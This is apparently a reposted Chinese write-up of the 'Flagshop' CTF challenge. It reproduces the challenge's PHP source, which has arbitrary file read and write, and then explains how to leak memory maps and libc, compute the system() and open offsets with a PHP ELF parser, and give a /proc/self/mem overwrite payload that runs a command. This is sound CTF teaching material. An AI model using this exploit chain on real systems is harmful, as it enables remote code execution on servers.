1. 程式人生 > 實用技巧 >西湖論劍 Flagshop 分析復現

西湖論劍 Flagshop 分析復現

本文首發於“合天智匯”公眾號 作者:xiaoleung

title: 西湖論劍 Flagshop 分析復現

date: 2020-10-13 13:12:04

tags: CTF

本文推薦實驗

PWN綜合練習(三)

實驗:PWN綜合練習(三)(合天網安實驗室)

CTF PWN進階訓練實戰,基於兩次緩衝區溢位來獲取伺服器控制權限。

toc: true

前言

  • 比賽時候沒能做出來,其實這道題就是一道pwn題。後面與p w n師傅討論分析EXP分析還原瞭解題過程。學到了很多,也希望分享給大家。

任意檔案讀取

  • 抓包或者看原始碼就會發現有一個SSRF,但是沒有許可權讀flag,測試發現存在一個readflag的elf檔案。
  • 讀取題目全部原始碼:

backend.php

<?php

$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) { echo file_get_contents($_GET['readfile']); } ?>

index.php

<?php

if(!isset($_COOKIE['sandbox'])) {
  $uuid = system("/var/www/html/copy");
  setcookie("sandbox", $uuid);
  header("Location: sandbox/".$uuid);
} else {
  header("Location: sandbox/".$_COOKIE['sandbox
']); }

檔案寫入

  • 從原始碼可以知道,這裡是存在一個檔案寫入的問題,但是測試和對copy這個elf檔案反編譯發現,網站根目錄是沒有寫入許可權的。但是測試發現tmp目錄是可寫的。
  • 做到這裡基本沒思路了。後面看了下Nul1的wp,發現這就是這道pwn題改的。(https://www.pianshen.com/article/4537767804/)

記憶體洩露和動態連結庫

/proc/self/maps 包含了當前程序對映的記憶體區域以及他們的訪問許可權.檔案格式如下:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0

  • 通過SSRF漏洞直接讀取/proc/self/maps來洩露當前程式呼叫的到動態連結庫和記憶體地址。
  • 直接把/lib/x86_64-linux-gnu/libc-2.19.so通過SSRF讀取然後下載下來,通過readelf來檢視system的地址。可以得知system函式的偏移是:0x0000000000046590
  • 我們將動態連結庫的地址加上system的偏移就能計算出system函式的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函式結果:0x7ffff5f86590
?>

計算偏移

  • 我們知道system函式的地址,我們就可以將open函式的地址替換為system函式的地址,我們在file_get_contents傳入引數為系統命令實際執行的卻是system函式,這樣我們將readflag的結果輸出到檔案,或者反彈shell。這樣我們下一步就是要計算open函式在二進位制檔案中的實際偏移,最後直接修改記憶體。
  • 這裡需要用到/proc/self/exe

在Linux2.2的核心及其之後,/proc/pid/exe是直接執行的二進位制檔案的符號連結.這個符號連結能夠被取消.嘗試開啟這個檔案就相當與打開了二進位制檔案,甚至可以通過重新輸入/proc/pid/exe重新執行一個對應於pid的二進位制檔案.在一個多執行緒的程式中,如果主執行緒已經退出了,就無法訪問這個符號連結. 在Linux2.0及其之前,/proc/pid/exe是指向當前程序執行的二進位制檔案.

  • 同樣我們之間將其搞下來,用下面指令碼來計算open函式的偏移。
<?php
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM 
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];

            }

            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//結果:15333784
?>

修改程序記憶體

/proc/self/mem是程序的記憶體內容,通過修改該檔案相當於直接修改當前程序的記憶體。該檔案不能直接讀取,需要結合maps的對映資訊來確定讀的偏移值。即無法讀取未被對映的區域,只有讀取的偏移值是被對映的區域才能正確讀取記憶體內容。

  • 也就是說我們剛才從maps和動態連結庫計算出system的地址需要修改mem來使得open的地址變成system的地址。既然我們偏移地址和檔案偏移都算出來了直接構造payload即可。
backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
  • 直接讀取/tmp/i_o_u_hlq就可以直接getflag

參考

  • Nu1L 西湖論劍wp
  • https://blog.spoock.com/2019/10/08/proc/
  • https://www.pianshen.com/article/4537767804/